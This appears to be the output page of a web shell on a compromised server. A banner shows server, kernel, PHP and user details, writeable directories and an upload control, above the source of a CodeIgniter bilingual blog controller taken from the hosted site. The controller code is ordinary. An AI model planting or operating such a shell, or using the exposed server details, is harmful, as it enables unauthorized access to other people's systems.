https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/rabbithabit.com/public_html/application/modules/blog/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/rabbithabit.com/public_html/application/modules/blog/controllers/Blog.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');

class Blog extends Public_Controller {

	public function __construct() { 
		parent::__construct(); 

		//LOAD LANGUAGE FILES FOR BLOG
		$this->load->helper('language');
		if($this->session->userdata('site_lang') == 'english') {
			$this->lang->load('blog', 'english');
		} else {
			$this->lang->load('blog', 'indonesian');
		}
	}

    public function frontpage() {

        //get all blogs for frontpage
        if($this->session->userdata('site_lang') == 'english') {
        	$this->db->select('blog_en as blog, alias_en as alias, publish_date, image1, description_en as description, short_description_en as short_description, video_link')->from('blog')->where('status', '1')->order_by('publish_date', 'DESC')->limit(1);
        } else {
        	$this->db->select('blog, alias, publish_date, image1, description, short_description, video_link')->from('blog')->where('status', '1')->order_by('publish_date', 'DESC')->limit(1);
        }
				$data['blog'] = $this->db->get()->row();

				$this->load->view("$this->theme_no/blogs", $data);   
    }

	public function all() {
		$this->load->library('pagination');
		$this->load->helper('pagination_helper');

		$t_uri_segment = 3; 
		$t_display = 9;

		//get all blogs
		$c_blogs = $this->db->select('*')->from('blog')->where('status', '1')->order_by('publish_date', 'DESC')->get()->num_rows();

		add_pagination_frontend(base_url() . 'blog/all/', $c_blogs, $t_display, $t_uri_segment); 

		$data['blogs'] = $this->db->select('*')->from('blog')->where('status', '1')
		->order_by('publish_date', 'DESC')
		->limit($t_display, $this->uri->segment($t_uri_segment))
		->get()->result();  

		//get featured articles
		$this->db->select('*')->from('blog')->where('status', '1')->where('featured', 'yes')->order_by('publish_date', 'DESC');
		$data['featured_blogs'] = $this->db->get()->result();

		//get recent articles
		$this->db->select('*')->from('blog')->where('status', '1')->order_by('publish_date', 'DESC')->limit(6);
		$data['recent_articles'] = $this->db->get()->result();

		/*get archive*/
		$this->db->select('*')->from('blog')->where('status', '1')->order_by('publish_date','DESC');
		$archive = $this->db->get()->result();
		$final_name_archive = array();
		foreach ($archive as $item) {
			$month_year = date("F Y", strtotime($item->publish_date));
			$count = 1;
			foreach ($archive as $item1) {
				if($item1->id_blog != $item->id_blog){
					$current_month	= date("F Y", strtotime($item->publish_date));
					$month 			= date("F Y", strtotime($item1->publish_date));
					if($current_month == $month){
						$count = $count + 1;
					}
				}
			}
			$final_count 	= " (".$count.")";
			$final_string 	= $month_year.$final_count;
			if(!in_array($final_string, $final_name_archive)){
				$final_name_archive[]= $final_string;
				$final_archive[] = array(
					'link' => date("Y", strtotime($item->publish_date)).'/'.date("m", strtotime($item->publish_date)), 
					'name' => $final_string, 
				);
			}
		}
		$data['archive'] = $final_archive;

		//get blog promotion banners
		$this->db->select('*')->from('promo_banners')->where('status', 'yes')->order_by('priority', 'ASC');
		$data['banners'] = $this->db->get()->result();

		$this->db->select('website_name')->from('configuration')->where('id_configuration', 1);
    $website_name = $this->db->get()->row();
		
		//get SEO
		$this->data_header['browser_title'] = 'Journal - ' . ucwords($website_name->website_name); 
		$this->data_header['meta_description'] = 'Journal - ' . ucwords($website_name->website_name);

		$this->load->view("themes/$this->theme_no/header", $this->data_header); 
		$this->load->view("$this->theme_no/blog-landing", $data);
		$this->load->view("themes/$this->theme_no/footer", $this->data_footer);  
	}

	public function get($alias = NULL) { 

		if ($alias == NULL) { show_404(); }  

		//the script belows account if user share a link to outside user. to find the blog article in different language, to avoid 404 page not found in different language
		if($this->session->userdata('site_lang') == 'english') {

			//check if blog exist in english alias
			$this->db->select('tags,id_blog,blog_en as blog, short_description_en as short_description, author, publish_date, image2, description as description, image_konten2, image_konten3, image_konten3_caption_en as image_konten3_caption, image_konten2_caption_en as image_konten2_caption, description2_en as description2, description3_en as description3, meta_title, meta_description')->from('blog')->where('alias_en', $alias)->where('status', 1);
			$blog_en = $this->db->get()->row(); 

			if(count($blog_en) == 0) {

				//blog not exist in english alias. So check to indonesian
				$this->db->select('tags,id_blog,blog, publish_date, image2, description, short_description, author, image_konten2, image_konten2_caption, description2, description3, image_konten3, image_konten3_caption, meta_title, meta_description')->from('blog')->where('alias', $alias)->where('status', 1);
				$blog_id =  $this->db->get()->row();

				if(count($blog_id) == 0) {
					
					show_404();	

				} else {

					$data['blog'] = $blog_id;
					//change the website session language to indonesian
					$this->session->set_userdata('site_lang', 'indonesian');
					$this->lang->load('blog','indonesian'); 
				}

			} else {

				$data['blog'] = $blog_en;
				//change the website session language to english
				$this->session->set_userdata('site_lang', 'english');
				$this->lang->load('blog','english'); 
			}

		} else {

			//check if blog exist in indonesian alias
			$this->db->select('tags,id_blog,blog, publish_date, image2, short_description, short_description, author, description, image_konten2, image_konten2_caption, description2, description3, image_konten3, image_konten3_caption, meta_title, meta_description')->from('blog')->where('alias', $alias)->where('status', 1);
				$blog_id =  $this->db->get()->row();
			
			if(count($blog_id) == 0) {

				//blog not exist in indonesian alias. So check to english
				$this->db->select('tags,id_blog,blog_en as blog, publish_date, image2, short_description_en as short_description, description_en as description, author, image_konten2, image_konten2_caption_en as image_konten2_caption, description2_en as description2, description3_en as description3, image_konten3, image_konten3_caption_en as image_konten3_caption, meta_title, meta_description')->from('blog')->where('alias_en', $alias)->where('status', 1);
				$blog_en = $this->db->get()->row(); 
				
				if(count($blog_en) == 0) {
					
					show_404();	

				} else {

					//blog exist in english. get blog parameter
					$data['blog'] = $blog_en;
					$this->lang->load('blog','english'); 
				}

			} else {

				//blog exist in indonesian alias. get blog parameter
				$data['blog'] = $blog_id;
				$this->lang->load('blog','indonesian'); 
			}

		}

    //get all blogs with limit to 10 blogs for the side coloumn
		$this->db->select('*')->from('blog')->where('status', '1')->order_by('publish_date', 'DESC')->limit(11);
		$data['blogs'] = $this->db->get()->result();

		//get recent articles
		$this->db->select('*')->from('blog')->where('status', '1')->order_by('publish_date', 'DESC')->limit(6);
		$data['recent_articles'] = $this->db->get()->result();

		//get featured articles
		$this->db->select('*')->from('blog')->where('status', '1')->where('featured', 'yes')->order_by('publish_date', 'DESC');
		$data['featured_blogs'] = $this->db->get()->result();

		/*get archive*/
		$this->db->select('*')->from('blog')->where('status', '1')->order_by('publish_date','DESC');
		$archive = $this->db->get()->result();
		$final_name_archive = array();
		foreach ($archive as $item) {
			$month_year = date("F Y", strtotime($item->publish_date));
			$count = 1;
			foreach ($archive as $item1) {
				if($item1->id_blog != $item->id_blog){
					$current_month	= date("F Y", strtotime($item->publish_date));
					$month 			= date("F Y", strtotime($item1->publish_date));
					if($current_month == $month){
						$count = $count + 1;
					}
				}
			}
			$final_count 	= " (".$count.")";
			$final_string 	= $month_year.$final_count;
			if(!in_array($final_string, $final_name_archive)){
				$final_name_archive[]= $final_string;
				$final_archive[] = array(
					'link' => date("Y", strtotime($item->publish_date)).'/'.date("m", strtotime($item->publish_date)), 
					'name' => $final_string,
				);
			}
		}
		$data['archive'] = $final_archive; 

		//get website name
		$website_name = $this->db->select('website_name')->from('configuration')->where('id_configuration', 1)->get()->row()->website_name;

		if(empty($data['blog']->meta_title)) {
			$this->data_header['browser_title'] = ucwords($data['blog']->blog) . ' - ' . $website_name;  
		} else {
			$this->data_header['browser_title'] =$data['blog']->meta_title;
		}

		if(empty($data['blog']->meta_description)) {
			$this->data_header['meta_description'] = ucwords($data['blog']->blog) .  ' - ' . $website_name;   
		} else {
			$this->data_header['meta_description'] = $data['blog']->meta_description;
		}	

		$this->db->select('alias,alias_en')->from('blog')->where('id_blog', $data['blog']->id_blog)->where('status', 1);
		$c_url_alias = $this->db->get()->row();

		$this->data_header['c_url_alias_ind'] = strtolower($c_url_alias->alias);
		$this->data_header['c_url_alias_en'] = strtolower($c_url_alias->alias_en);

		$this->load->view("themes/$this->theme_no/header", $this->data_header); 
        $this->load->view("$this->theme_no/blog-detail", $data);
        $this->load->view("themes/$this->theme_no/footer", $this->data_footer);  
	}

	public function archive($years = null, $month = null) {

		if(($years == null) || ($month == null)) { 
			redirect('blog/all');
		}
		$publish_date_search = $years.'-'.$month;
		
		//get all blogs
		$this->db->select('*')->from('blog')->where('status', '1')->like('publish_date',$publish_date_search)->order_by('publish_date', 'DESC');
		$data['blogs'] = $this->db->get()->result();

		//get featured articles
		$this->db->select('*')->from('blog')->where('status', '1')->where('featured', 'yes')->order_by('publish_date', 'DESC');
		$data['featured_blogs'] = $this->db->get()->result();

		//get recent articles
		$this->db->select('*')->from('blog')->where('status', '1')->order_by('publish_date', 'DESC')->limit(6);
		$data['recent_articles'] = $this->db->get()->result();

		/*get archive*/
		$this->db->select('*')->from('blog')->where('status', '1')->order_by('publish_date','DESC');
		$archive = $this->db->get()->result();
		$final_name_archive = array();
		foreach ($archive as $item) {
			$month_year = date("F Y", strtotime($item->publish_date));
			$count = 1;
			foreach ($archive as $item1) {
				if($item1->id_blog != $item->id_blog){
					$current_month	= date("F Y", strtotime($item->publish_date));
					$month 			= date("F Y", strtotime($item1->publish_date));
					if($current_month == $month){
						$count = $count + 1;
					}
				}
			}
			$final_count 	= " (".$count.")";
			$final_string 	= $month_year.$final_count;
			if(!in_array($final_string, $final_name_archive)){
				$final_name_archive[]= $final_string;
				$final_archive[] = array(
					'link' => date("Y", strtotime($item->publish_date)).'/'.date("m", strtotime($item->publish_date)), 
					'name' => $final_string,
				);
			}
		}
		$data['archive'] = $final_archive;

		//get blog promotion banners
		$this->db->select('*')->from('promo_banners')->where('status', 'yes')->order_by('priority', 'ASC');
		$data['banners'] = $this->db->get()->result();
		
		//get SEO
		$this->db->select('website_name')->from('configuration')->where('id_configuration', 1);
		$website_name = $this->db->get()->row();
				

		$this->data_header['browser_title'] = 'Journal - ' . ucwords($website_name->website_name); 
		$this->data_header['meta_description'] = 'Journal - ' . ucwords($website_name->website_name);

		$this->load->view("themes/$this->theme_no/header", $this->data_header); 
		$this->load->view("$this->theme_no/blog-landing", $data);
		$this->load->view("themes/$this->theme_no/footer", $this->data_footer);  
	}


}

https://t.me/RX1948 - 2025